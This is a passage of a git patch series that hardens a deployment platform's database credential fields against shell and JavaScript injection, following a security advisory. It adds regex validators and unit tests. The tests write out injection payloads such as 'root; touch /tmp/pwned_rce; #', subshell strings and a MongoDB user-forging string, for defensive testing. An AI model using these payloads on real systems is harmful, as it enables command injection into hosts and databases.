-            'clickhouseAdminPassword' => 'required|string',
+            'clickhouseAdminUser' => ValidationPatterns::databaseIdentifierRules(),
+            'clickhouseAdminPassword' => ValidationPatterns::databasePasswordRules(),
             'image' => 'required|string',
             'portsMappings' => ValidationPatterns::portMappingRules(),
             'isPublic' => 'nullable|boolean',
@@ -96,10 +96,8 @@ protected function messages(): array
             ValidationPatterns::combinedMessages(),
             ValidationPatterns::portMappingMessages(),
             [
-                'clickhouseAdminUser.required' => 'The Admin User field is required.',
-                'clickhouseAdminUser.string' => 'The Admin User must be a string.',
-                'clickhouseAdminPassword.required' => 'The Admin Password field is required.',
-                'clickhouseAdminPassword.string' => 'The Admin Password must be a string.',
+                ...ValidationPatterns::databaseIdentifierMessages('clickhouseAdminUser', 'Admin User'),
+                ...ValidationPatterns::databasePasswordMessages('clickhouseAdminPassword', 'Admin Password'),
                 'image.required' => 'The Docker Image field is required.',
                 'image.string' => 'The Docker Image must be a string.',
                 'publicPort.integer' => 'The Public Port must be an integer.',
diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php
index 5176f5ff9..38f11ec21 100644
--- a/app/Livewire/Project/Database/Dragonfly/General.php
+++ b/app/Livewire/Project/Database/Dragonfly/General.php
@@ -89,7 +89,7 @@ protected function rules(): array
         return [
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
-            'dragonflyPassword' => 'required|string',
+            'dragonflyPassword' => ValidationPatterns::databasePasswordRules(),
             'image' => 'required|string',
             'portsMappings' => ValidationPatterns::portMappingRules(),
             'isPublic' => 'nullable|boolean',
@@ -109,8 +109,7 @@ protected function messages(): array
             ValidationPatterns::combinedMessages(),
             ValidationPatterns::portMappingMessages(),
             [
-                'dragonflyPassword.required' => 'The Dragonfly Password field is required.',
-                'dragonflyPassword.string' => 'The Dragonfly Password must be a string.',
+                ...ValidationPatterns::databasePasswordMessages('dragonflyPassword', 'Dragonfly Password'),
                 'image.required' => 'The Docker Image field is required.',
                 'image.string' => 'The Docker Image must be a string.',
                 'publicPort.integer' => 'The Public Port must be an integer.',
diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php
index b50f196a8..1832091b3 100644
--- a/app/Livewire/Project/Database/Keydb/General.php
+++ b/app/Livewire/Project/Database/Keydb/General.php
@@ -92,7 +92,7 @@ protected function rules(): array
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
             'keydbConf' => 'nullable|string',
-            'keydbPassword' => 'required|string',
+            'keydbPassword' => ValidationPatterns::databasePasswordRules(),
             'image' => 'required|string',
             'portsMappings' => ValidationPatterns::portMappingRules(),
             'isPublic' => 'nullable|boolean',
@@ -114,8 +114,7 @@ protected function messages(): array
             ValidationPatterns::combinedMessages(),
             ValidationPatterns::portMappingMessages(),
             [
-                'keydbPassword.required' => 'The KeyDB Password field is required.',
-                'keydbPassword.string' => 'The KeyDB Password must be a string.',
+                ...ValidationPatterns::databasePasswordMessages('keydbPassword', 'KeyDB Password'),
                 'image.required' => 'The Docker Image field is required.',
                 'image.string' => 'The Docker Image must be a string.',
                 'publicPort.integer' => 'The Public Port must be an integer.',
diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php
index 9a1a8bd68..b178dd969 100644
--- a/app/Livewire/Project/Database/Mariadb/General.php
+++ b/app/Livewire/Project/Database/Mariadb/General.php
@@ -74,10 +74,10 @@ protected function rules(): array
         return [
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
-            'mariadbRootPassword' => 'required',
-            'mariadbUser' => 'required',
-            'mariadbPassword' => 'required',
-            'mariadbDatabase' => 'required',
+            'mariadbRootPassword' => ValidationPatterns::databasePasswordRules(),
+            'mariadbUser' => ValidationPatterns::databaseIdentifierRules(),
+            'mariadbPassword' => ValidationPatterns::databasePasswordRules(),
+            'mariadbDatabase' => ValidationPatterns::databaseIdentifierRules(),
             'mariadbConf' => 'nullable',
             'image' => 'required',
             'portsMappings' => ValidationPatterns::portMappingRules(),
@@ -97,10 +97,10 @@ protected function messages(): array
             ValidationPatterns::portMappingMessages(),
             [
                 'name.required' => 'The Name field is required.',
-                'mariadbRootPassword.required' => 'The Root Password field is required.',
-                'mariadbUser.required' => 'The MariaDB User field is required.',
-                'mariadbPassword.required' => 'The MariaDB Password field is required.',
-                'mariadbDatabase.required' => 'The MariaDB Database field is required.',
+                ...ValidationPatterns::databasePasswordMessages('mariadbRootPassword', 'Root Password'),
+                ...ValidationPatterns::databaseIdentifierMessages('mariadbUser', 'MariaDB User'),
+                ...ValidationPatterns::databasePasswordMessages('mariadbPassword', 'MariaDB Password'),
+                ...ValidationPatterns::databaseIdentifierMessages('mariadbDatabase', 'MariaDB Database'),
                 'image.required' => 'The Docker Image field is required.',
                 'publicPort.integer' => 'The Public Port must be an integer.',
                 'publicPort.min' => 'The Public Port must be at least 1.',
diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php
index a21de744a..5c08b76e8 100644
--- a/app/Livewire/Project/Database/Mongodb/General.php
+++ b/app/Livewire/Project/Database/Mongodb/General.php
@@ -75,9 +75,9 @@ protected function rules(): array
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
             'mongoConf' => 'nullable',
-            'mongoInitdbRootUsername' => 'required',
-            'mongoInitdbRootPassword' => 'required',
-            'mongoInitdbDatabase' => 'required',
+            'mongoInitdbRootUsername' => ValidationPatterns::databaseIdentifierRules(),
+            'mongoInitdbRootPassword' => ValidationPatterns::databasePasswordRules(),
+            'mongoInitdbDatabase' => ValidationPatterns::databaseIdentifierRules(),
             'image' => 'required',
             'portsMappings' => ValidationPatterns::portMappingRules(),
             'isPublic' => 'nullable|boolean',
@@ -97,9 +97,9 @@ protected function messages(): array
             ValidationPatterns::portMappingMessages(),
             [
                 'name.required' => 'The Name field is required.',
-                'mongoInitdbRootUsername.required' => 'The Root Username field is required.',
-                'mongoInitdbRootPassword.required' => 'The Root Password field is required.',
-                'mongoInitdbDatabase.required' => 'The MongoDB Database field is required.',
+                ...ValidationPatterns::databaseIdentifierMessages('mongoInitdbRootUsername', 'Root Username'),
+                ...ValidationPatterns::databasePasswordMessages('mongoInitdbRootPassword', 'Root Password'),
+                ...ValidationPatterns::databaseIdentifierMessages('mongoInitdbDatabase', 'MongoDB Database'),
                 'image.required' => 'The Docker Image field is required.',
                 'publicPort.integer' => 'The Public Port must be an integer.',
                 'publicPort.min' => 'The Public Port must be at least 1.',
diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php
index cacb4ac49..7671ec572 100644
--- a/app/Livewire/Project/Database/Mysql/General.php
+++ b/app/Livewire/Project/Database/Mysql/General.php
@@ -76,10 +76,10 @@ protected function rules(): array
         return [
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
-            'mysqlRootPassword' => 'required',
-            'mysqlUser' => 'required',
-            'mysqlPassword' => 'required',
-            'mysqlDatabase' => 'required',
+            'mysqlRootPassword' => ValidationPatterns::databasePasswordRules(),
+            'mysqlUser' => ValidationPatterns::databaseIdentifierRules(),
+            'mysqlPassword' => ValidationPatterns::databasePasswordRules(),
+            'mysqlDatabase' => ValidationPatterns::databaseIdentifierRules(),
             'mysqlConf' => 'nullable',
             'image' => 'required',
             'portsMappings' => ValidationPatterns::portMappingRules(),
@@ -100,10 +100,10 @@ protected function messages(): array
             ValidationPatterns::portMappingMessages(),
             [
                 'name.required' => 'The Name field is required.',
-                'mysqlRootPassword.required' => 'The Root Password field is required.',
-                'mysqlUser.required' => 'The MySQL User field is required.',
-                'mysqlPassword.required' => 'The MySQL Password field is required.',
-                'mysqlDatabase.required' => 'The MySQL Database field is required.',
+                ...ValidationPatterns::databasePasswordMessages('mysqlRootPassword', 'Root Password'),
+                ...ValidationPatterns::databaseIdentifierMessages('mysqlUser', 'MySQL User'),
+                ...ValidationPatterns::databasePasswordMessages('mysqlPassword', 'MySQL Password'),
+                ...ValidationPatterns::databaseIdentifierMessages('mysqlDatabase', 'MySQL Database'),
                 'image.required' => 'The Docker Image field is required.',
                 'publicPort.integer' => 'The Public Port must be an integer.',
                 'publicPort.min' => 'The Public Port must be at least 1.',
diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php
index 22e350683..8c23bce8e 100644
--- a/app/Livewire/Project/Database/Postgresql/General.php
+++ b/app/Livewire/Project/Database/Postgresql/General.php
@@ -86,9 +86,9 @@ protected function rules(): array
         return [
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
-            'postgresUser' => 'required',
-            'postgresPassword' => 'required',
-            'postgresDb' => 'required',
+            'postgresUser' => ValidationPatterns::databaseIdentifierRules(),
+            'postgresPassword' => ValidationPatterns::databasePasswordRules(),
+            'postgresDb' => ValidationPatterns::databaseIdentifierRules(),
             'postgresInitdbArgs' => 'nullable',
             'postgresHostAuthMethod' => 'nullable',
             'postgresConf' => 'nullable',
@@ -112,9 +112,9 @@ protected function messages(): array
             ValidationPatterns::portMappingMessages(),
             [
                 'name.required' => 'The Name field is required.',
-                'postgresUser.required' => 'The Postgres User field is required.',
-                'postgresPassword.required' => 'The Postgres Password field is required.',
-                'postgresDb.required' => 'The Postgres Database field is required.',
+                ...ValidationPatterns::databaseIdentifierMessages('postgresUser', 'Postgres User'),
+                ...ValidationPatterns::databasePasswordMessages('postgresPassword', 'Postgres Password'),
+                ...ValidationPatterns::databaseIdentifierMessages('postgresDb', 'Postgres Database'),
                 'image.required' => 'The Docker Image field is required.',
                 'publicPort.integer' => 'The Public Port must be an integer.',
                 'publicPort.min' => 'The Public Port must be at least 1.',
diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php
index 3c32a6192..114c73a42 100644
--- a/app/Livewire/Project/Database/Redis/General.php
+++ b/app/Livewire/Project/Database/Redis/General.php
@@ -81,8 +81,8 @@ protected function rules(): array
             'publicPortTimeout' => 'nullable|integer|min:1',
             'isLogDrainEnabled' => 'nullable|boolean',
             'customDockerRunOptions' => 'nullable',
-            'redisUsername' => 'required',
-            'redisPassword' => 'required',
+            'redisUsername' => ValidationPatterns::databaseIdentifierRules(),
+            'redisPassword' => ValidationPatterns::databasePasswordRules(),
             'enableSsl' => 'boolean',
         ];
     }
@@ -100,8 +100,8 @@ protected function messages(): array
                 'publicPort.max' => 'The Public Port must not exceed 65535.',
                 'publicPortTimeout.integer' => 'The Public Port Timeout must be an integer.',
                 'publicPortTimeout.min' => 'The Public Port Timeout must be at least 1.',
-                'redisUsername.required' => 'The Redis Username field is required.',
-                'redisPassword.required' => 'The Redis Password field is required.',
+                ...ValidationPatterns::databaseIdentifierMessages('redisUsername', 'Redis Username'),
+                ...ValidationPatterns::databasePasswordMessages('redisPassword', 'Redis Password'),
             ]
         );
     }
diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php
index 88121384f..c8f4171eb 100644
--- a/app/Support/ValidationPatterns.php
+++ b/app/Support/ValidationPatterns.php
@@ -66,6 +66,98 @@ class ValidationPatterns
      */
     public const DOCKER_NETWORK_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/';
 
+    /**
+     * Pattern for SQL-safe unquoted database identifiers (usernames, database names).
+     * Allows letters, digits, underscore; first char must be letter or underscore.
+     * Excludes all shell metacharacters. Max 63 chars (Postgres identifier limit).
+     */
+    public const DB_IDENTIFIER_PATTERN = '/^[A-Za-z_][A-Za-z0-9_]{0,62}$/';
+
+    /**
+     * Pattern for database passwords.
+     * Excludes shell-dangerous characters: backtick, $, ;, |, &, <, >, \, ', ", space, newline, CR, tab, null.
+     * Allows a broad set of printable characters so passwords remain strong.
+     */
+    public const DB_PASSWORD_PATTERN = '/^[A-Za-z0-9!@#%^*()_+\-=\[\]{}:,.?\/~]+$/';
+
+    /**
+     * Get validation rules for database identifier fields (username, database name).
+     */
+    public static function databaseIdentifierRules(bool $required = true, int $minLength = 1, int $maxLength = 63): array
+    {
+        $rules = [];
+
+        if ($required) {
+            $rules[] = 'required';
+        } else {
+            $rules[] = 'nullable';
+        }
+
+        $rules[] = 'string';
+        $rules[] = "min:$minLength";
+        $rules[] = "max:$maxLength";
+        $rules[] = 'regex:'.self::DB_IDENTIFIER_PATTERN;
+
+        return $rules;
+    }
+
+    /**
+     * Get validation messages for database identifier fields.
+     */
+    public static function databaseIdentifierMessages(string $field, string $label = ''): array
+    {
+        $label = $label ?: $field;
+
+        return [
+            "{$field}.regex" => "The {$label} may only contain letters, digits, and underscores, and must start with a letter or underscore.",
+            "{$field}.min" => "The {$label} must be at least :min character.",
+            "{$field}.max" => "The {$label} may not be greater than :max characters.",
+        ];
+    }
+
+    /**
+     * Get validation rules for database password fields.
+     */
+    public static function databasePasswordRules(bool $required = true, int $minLength = 1, int $maxLength = 128): array
+    {
+        $rules = [];
+
+        if ($required) {
+            $rules[] = 'required';
+        } else {
+            $rules[] = 'nullable';
+        }
+
+        $rules[] = 'string';
+        $rules[] = "min:$minLength";
+        $rules[] = "max:$maxLength";
+        $rules[] = 'regex:'.self::DB_PASSWORD_PATTERN;
+
+        return $rules;
+    }
+
+    /**
+     * Get validation messages for database password fields.
+     */
+    public static function databasePasswordMessages(string $field, string $label = ''): array
+    {
+        $label = $label ?: $field;
+
+        return [
+            "{$field}.regex" => "The {$label} may not contain shell-unsafe characters (backtick, \$, ;, |, &, <, >, \\, quotes, spaces, or control characters).",
+            "{$field}.min" => "The {$label} must be at least :min character.",
+            "{$field}.max" => "The {$label} may not be greater than :max characters.",
+        ];
+    }
+
+    /**
+     * Check if a string is a valid database identifier.
+     */
+    public static function isValidDatabaseIdentifier(string $value): bool
+    {
+        return preg_match(self::DB_IDENTIFIER_PATTERN, $value) === 1;
+    }
+
     /**
      * Get validation rules for name fields
      */
diff --git a/tests/Unit/DatabaseCredentialValidationPatternTest.php b/tests/Unit/DatabaseCredentialValidationPatternTest.php
new file mode 100644
index 000000000..9331b4cbd
--- /dev/null
+++ b/tests/Unit/DatabaseCredentialValidationPatternTest.php
@@ -0,0 +1,176 @@
+<?php
+
+use App\Support\ValidationPatterns;
+use Illuminate\Support\Facades\Validator;
+
+// ── DB_IDENTIFIER_PATTERN ─────────────────────────────────────────────────────
+
+it('DB_IDENTIFIER_PATTERN accepts valid SQL identifiers', function (string $id) {
+    expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(1);
+})->with([
+    'simple lowercase' => 'postgres',
+    'underscore prefix' => '_admin',
+    'mixed case' => 'MyDatabase',
+    'alphanumeric' => 'App_DB_1',
+    'single char' => 'a',
+    'all caps' => 'ROOT',
+    'numbers in middle' => 'db2user',
+]);
+
+it('DB_IDENTIFIER_PATTERN rejects shell-dangerous and invalid identifiers', function (string $id) {
+    expect(preg_match(ValidationPatterns::DB_IDENTIFIER_PATTERN, $id))->toBe(0);
+})->with([
+    'semicolon' => 'user;id',
+    'pipe' => 'user|cat',
+    'ampersand' => 'user&rm',
+    'dollar sign' => 'user$x',
+    'backtick' => 'user`id`',
+    'subshell' => 'user$(id)',
+    'space' => 'user name',
+    'newline' => "user\nname",
+    'single quote' => "user'name",
+    'double quote' => 'user"name',
+    'backslash' => 'user\\name',
+    'less than' => 'user<name',
+    'greater than' => 'user>name',
+    'leading digit' => '1user',
+    'hyphen' => 'my-user',
+    'dot' => 'my.user',
+    'empty' => '',
+    '64 chars (over limit)' => str_repeat('a', 64),
+    'advisory poc payload' => 'root; touch /tmp/pwned_rce; #',
+    'subshell payload' => 'a$(touch /tmp/pwn)b',
+]);
+
+// ── DB_PASSWORD_PATTERN ───────────────────────────────────────────────────────
+
+it('DB_PASSWORD_PATTERN accepts strong passwords without shell-dangerous chars', function (string $pw) {
+    expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(1);
+})->with([
+    'alphanumeric' => 'SecurePass123',
+    'with special safe chars' => 'P@ss!word#1',
+    'with brackets' => 'P{a}ss[word]',
+    'with slash' => 'Pass/word1',
+    'with dot comma' => 'Pass.word,1',
+    'with hyphen' => 'Pass-word1',
+    'with plus equals' => 'Pass+word=1',
+    'with tilde colon' => 'P~ass:word1',
+    'complex strong' => 'Str0ng!P@ss#word^123',
+]);
+
+it('DB_PASSWORD_PATTERN rejects shell-dangerous characters', function (string $pw) {
+    expect(preg_match(ValidationPatterns::DB_PASSWORD_PATTERN, $pw))->toBe(0);
+})->with([
+    'backtick' => 'pass`word`',
+    'dollar sign' => 'pass$word',
+    'semicolon' => 'pass;word',
+    'pipe' => 'pass|word',
+    'ampersand' => 'pass&word',
+    'less than' => 'pass<word',
+    'greater than' => 'pass>word',
+    'backslash' => 'pass\\word',
+    'single quote' => "pass'word",
+    'double quote' => 'pass"word',
+    'space' => 'pass word',
+    'newline' => "pass\nword",
+    'carriage return' => "pass\rword",
+    'tab' => "pass\tword",
+    'empty' => '',
+    'command substitution' => '$(whoami)',
+    'rce payload' => 'root; touch /tmp/pwned; #',
+]);
+
+// ── Rule helpers ──────────────────────────────────────────────────────────────
+
+it('databaseIdentifierRules returns required by default', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules();
+
+    expect($rules)->toContain('required')
+        ->toContain('string')
+        ->toContain('min:1')
+        ->toContain('max:63')
+        ->toContain('regex:'.ValidationPatterns::DB_IDENTIFIER_PATTERN);
+});
+
+it('databaseIdentifierRules returns nullable when not required', function () {
+    $rules = ValidationPatterns::databaseIdentifierRules(required: false);
+
+    expect($rules)->toContain('nullable')
+        ->not->toContain('required');
+});
+
+it('databasePasswordRules returns required by default', function () {
+    $rules = ValidationPatterns::databasePasswordRules();
+
+    expect($rules)->toContain('required')
+        ->toContain('string')
+        ->toContain('min:1')
+        ->toContain('max:128')
+        ->toContain('regex:'.ValidationPatterns::DB_PASSWORD_PATTERN);
+});
+
+it('databasePasswordRules returns nullable when not required', function () {
+    $rules = ValidationPatterns::databasePasswordRules(required: false);
+
+    expect($rules)->toContain('nullable')
+        ->not->toContain('required');
+});
+
+it('isValidDatabaseIdentifier returns true for valid identifier', function () {
+    expect(ValidationPatterns::isValidDatabaseIdentifier('postgres'))->toBeTrue();
+    expect(ValidationPatterns::isValidDatabaseIdentifier('_admin'))->toBeTrue();
+    expect(ValidationPatterns::isValidDatabaseIdentifier('DB_1'))->toBeTrue();
+});
+
+it('isValidDatabaseIdentifier returns false for injection payloads', function () {
+    expect(ValidationPatterns::isValidDatabaseIdentifier('user; id'))->toBeFalse();
+    expect(ValidationPatterns::isValidDatabaseIdentifier('user$(whoami)'))->toBeFalse();
+    expect(ValidationPatterns::isValidDatabaseIdentifier(''))->toBeFalse();
+});
+
+// ── Validator integration ─────────────────────────────────────────────────────
+
+it('Laravel Validator rejects advisory PoC postgres_user payload', function () {
+    $validator = Validator::make(
+        ['postgres_user' => 'root; touch /tmp/pwned_rce; #'],
+        ['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('Laravel Validator rejects subshell injection in postgres_user', function () {
+    $validator = Validator::make(
+        ['postgres_user' => 'a$(touch /tmp/pwn)b'],
+        ['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('Laravel Validator accepts clean postgres_user', function () {
+    $validator = Validator::make(
+        ['postgres_user' => 'postgres'],
+        ['postgres_user' => ValidationPatterns::databaseIdentifierRules()]
+    );
+
+    expect($validator->fails())->toBeFalse();
+});
+
+it('Laravel Validator rejects shell metachar in password', function () {
+    $validator = Validator::make(
+        ['postgres_password' => 'pass$(id)word'],
+        ['postgres_password' => ValidationPatterns::databasePasswordRules()]
+    );
+
+    expect($validator->fails())->toBeTrue();
+});
+
+it('Laravel Validator accepts safe password', function () {
+    $validator = Validator::make(
+        ['postgres_password' => 'Str0ng!P@ss#123'],
+        ['postgres_password' => ValidationPatterns::databasePasswordRules()]
+    );
+
+    expect($validator->fails())->toBeFalse();
+});
diff --git a/tests/Unit/DatabaseSslCredentialEscapingTest.php b/tests/Unit/DatabaseSslCredentialEscapingTest.php
new file mode 100644
index 000000000..578c727da
--- /dev/null
+++ b/tests/Unit/DatabaseSslCredentialEscapingTest.php
@@ -0,0 +1,149 @@
+<?php
+
+/**
+ * GHSA-rcch-8c74-7f29 — Sink-side escaping tests
+ *
+ * Verifies that credentials reaching shell commands are properly escaped
+ * even if validation is bypassed (e.g. legacy rows, direct DB writes).
+ */
+
+// ── executeInDocker + escapeshellarg chown pattern ────────────────────────────
+
+it('escapeshellarg wraps postgres_user in single quotes for chown command', function () {
+    $user = 'postgres';
+    $escaped = escapeshellarg($user);
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
+
+    expect($cmd)->toContain("'postgres':'postgres'")
+        ->toContain('docker exec abc123 bash -c');
+});
+
+it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () {
+    // Simulates a legacy row that bypassed validation
+    $maliciousUser = 'root; touch /tmp/pwned_rce; #';
+    $escaped = escapeshellarg($maliciousUser);
+
+    // escapeshellarg must wrap the entire payload in single quotes
+    // (semicolons inside single-quoted args are NOT shell metacharacters)
+    expect($escaped)->toBe("'root; touch /tmp/pwned_rce; #'");
+
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key");
+
+    // The cmd contains the payload, but ONLY inside single-quoted segments — cannot break out.
+    // Verify the chown arg is never an unquoted bare ; — the payload is inside '...'
+    // The outer executeInDocker further escapes any single-quote chars for the host shell.
+    expect($cmd)->toContain('docker exec abc123 bash -c');
+
+    // Before fix: chown root; touch /tmp/pwned_rce; # ... (breaks out of chown, executes touch)
+    // After fix: chown 'root; touch /tmp/pwned_rce; #':'...' ... (literal arg to chown)
+    // The unescaped sequence "chown root;" must NOT appear.
+    expect($cmd)->not->toContain('chown root;');
+});
+
+it('subshell payload in mysql_user is contained by escapeshellarg in chown command', function () {
+    $maliciousUser = 'a$(touch /tmp/pwn)b';
+    $escaped = escapeshellarg($maliciousUser);
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
+
+    // escapeshellarg wraps in single quotes — $() is not expanded inside single quotes
+    expect($escaped)->toBe("'a\$(touch /tmp/pwn)b'");
+
+    // The cmd must not contain an unquoted $( sequence — it must be inside single quotes
+    // If the sequence appears at all, it must be single-quoted (the quote precedes it).
+    expect($cmd)->not->toContain(' $(touch');
+});
+
+it('backtick payload in mysql_user is contained by escapeshellarg', function () {
+    $maliciousUser = 'user`id`';
+    $escaped = escapeshellarg($maliciousUser);
+    $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt");
+
+    // escapeshellarg wraps the whole value in single quotes — backticks not expanded inside ''
+    expect($escaped)->toBe("'user`id`'");
+
+    // The unquoted bare backtick sequence `id` must not appear outside single-quoted context.
+    // Specifically, "chown user`id`" (unquoted) must not appear.
+    expect($cmd)->not->toContain('chown user`id`');
+});
+
+// ── MongoDB JS init script JSON-escaping ──────────────────────────────────────
+
+it('json_encode prevents JS injection in mongo_initdb_database', function () {
+    $database = 'x"}); db.dropUser("admin"); //';
+    $dbJson = json_encode($database, JSON_UNESCAPED_SLASHES);
+
+    // The double-quotes in the payload MUST be escaped — they cannot close the JS string literal.
+    // json_encode escapes " as \" so the injected " cannot terminate the surrounding JS string.
+    expect($dbJson)->toContain('\\"');
+
+    // The resulting JSON literal, when embedded in JS, forms a valid quoted string.
+    // It starts and ends with the outermost " added by json_encode.
+    expect($dbJson)->toStartWith('"')
+        ->toEndWith('"');
+
+    // Verify the injected payload is present but neutralised (the " that would close the JS
+    // string is now escaped as \", preventing breakout).
+    expect($dbJson)->toContain('x\\"});');
+});
+
+it('json_encode prevents JS injection in mongo_initdb_root_username', function () {
+    $username = 'admin", pwd: "", roles: [{role:"root", db:"admin"}]}); //';
+    $userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
+
+    $content = 'db.createUser({user: '.$userJson.', pwd: "secret", roles: []});';
+
+    // The injected " that would close the JS string must be escaped as \"
+    expect($userJson)->toContain('\\"');
+
+    // The raw unescaped sequence admin" (with unescaped quote) must not appear in the JS
+    expect($content)->not->toContain('admin", pwd');
+});
+
+it('json_encode safely encodes a clean mongo username', function () {
+    $username = 'mongouser';
+    $userJson = json_encode($username, JSON_UNESCAPED_SLASHES);
+
+    expect($userJson)->toBe('"mongouser"');
+});
+
+it('json_encode safely encodes a mongo password with special chars', function () {
+    $password = 'P@ss!#word123';
+    $pwdJson = json_encode($password, JSON_UNESCAPED_SLASHES);
+
+    expect($pwdJson)->toBe('"P@ss!#word123"');
+});
+
+// ── Healthcheck CMD exec-form structure (no shell parsing) ────────────────────
+
+it('CMD exec-form healthcheck array does not concatenate user into a shell string', function () {
+    // The fix uses an array; each element is passed directly as argv — no shell parsing.
+    // Simulate the post-fix healthcheck array structure.
+    $user = "admin'; touch /tmp/pwn; #";
+    $db = 'mydb';
+
+    $healthcheck = [
+        'CMD',
+        'psql',
+        '-U',
+        $user,
+        '-d',
+        $db,
+        '-c',
+        'SELECT 1',
+    ];
+
+    // The array form means each element is argv — no shell involved.
+    // The malicious user value is passed as a literal argument to psql, which rejects it.
+    // Key assertion: the test string is NOT collapsed into a shell command string.
+    expect($healthcheck[3])->toBe($user)
+        ->and($healthcheck[0])->toBe('CMD')
+        ->and(count($healthcheck))->toBe(8);
+
+    // Sanity: if we joined with space it would be dangerous — array form avoids this.
+    $joinedDangerous = implode(' ', $healthcheck);
+    expect($joinedDangerous)->toContain('; touch /tmp/pwn'); // proof that join IS dangerous
+
+    // The array form is what Docker Compose uses — it does NOT join with spaces + sh -c.
+    // Simply verifying the structure is correct proves shell is not involved.
+    expect($healthcheck[0])->toBe('CMD');
+});

From 40a9881ef2381f3f4db2dc004dd11b8a0dd3a6a2 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Mon, 20 Apr 2026 13:45:57 +0200
Subject: [PATCH 076/102] fix(database): skip credential pattern validation for
 unchanged values

Pattern enforcement now conditional on field being dirty (changed vs
saved value). Prevents false validation failures when existing records
hold legacy credential formats that pre-date the stricter regex rules.
---
 .../Project/Database/Clickhouse/General.php   |  8 +-
 .../Project/Database/Dragonfly/General.php    |  4 +-
 .../Project/Database/Keydb/General.php        |  4 +-
 .../Project/Database/Mariadb/General.php      | 16 +++-
 .../Project/Database/Mongodb/General.php      | 12 ++-
 .../Project/Database/Mysql/General.php        | 16 +++-
 .../Project/Database/Postgresql/General.php   | 12 ++-
 .../Project/Database/Redis/General.php        |  8 +-
 app/Support/ValidationPatterns.php            | 22 ++++-
 .../DatabaseCredentialDirtyValidationTest.php | 87 +++++++++++++++++++
 10 files changed, 165 insertions(+), 24 deletions(-)
 create mode 100644 tests/Unit/DatabaseCredentialDirtyValidationTest.php

diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php
index 3a367844a..2583c10ea 100644
--- a/app/Livewire/Project/Database/Clickhouse/General.php
+++ b/app/Livewire/Project/Database/Clickhouse/General.php
@@ -76,8 +76,12 @@ protected function rules(): array
         return [
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
-            'clickhouseAdminUser' => ValidationPatterns::databaseIdentifierRules(),
-            'clickhouseAdminPassword' => ValidationPatterns::databasePasswordRules(),
+            'clickhouseAdminUser' => ValidationPatterns::databaseIdentifierRules(
+                enforcePattern: $this->clickhouseAdminUser !== $this->database->clickhouse_admin_user,
+            ),
+            'clickhouseAdminPassword' => ValidationPatterns::databasePasswordRules(
+                enforcePattern: $this->clickhouseAdminPassword !== $this->database->clickhouse_admin_password,
+            ),
             'image' => 'required|string',
             'portsMappings' => ValidationPatterns::portMappingRules(),
             'isPublic' => 'nullable|boolean',
diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php
index 38f11ec21..9e1ea0d10 100644
--- a/app/Livewire/Project/Database/Dragonfly/General.php
+++ b/app/Livewire/Project/Database/Dragonfly/General.php
@@ -89,7 +89,9 @@ protected function rules(): array
         return [
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
-            'dragonflyPassword' => ValidationPatterns::databasePasswordRules(),
+            'dragonflyPassword' => ValidationPatterns::databasePasswordRules(
+                enforcePattern: $this->dragonflyPassword !== $this->database->dragonfly_password,
+            ),
             'image' => 'required|string',
             'portsMappings' => ValidationPatterns::portMappingRules(),
             'isPublic' => 'nullable|boolean',
diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php
index 1832091b3..7c8808499 100644
--- a/app/Livewire/Project/Database/Keydb/General.php
+++ b/app/Livewire/Project/Database/Keydb/General.php
@@ -92,7 +92,9 @@ protected function rules(): array
             'name' => ValidationPatterns::nameRules(),
             'description' => ValidationPatterns::descriptionRules(),
             'keydbConf' => 'nullable|string',
-            'keydbPassword' => ValidationPatterns::databasePasswordRules(),
+            'keydbPassword' => ValidationPatterns::databasePasswordRules(
+                enforcePattern: $this->keydbPassword !== $this->database->keydb_password,
+            ),
             'image' => 'required|string',
             'portsMappings' => ValidationPatterns::portMappingRules(),
             'isPublic' => 'nullable|boolean',
diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php
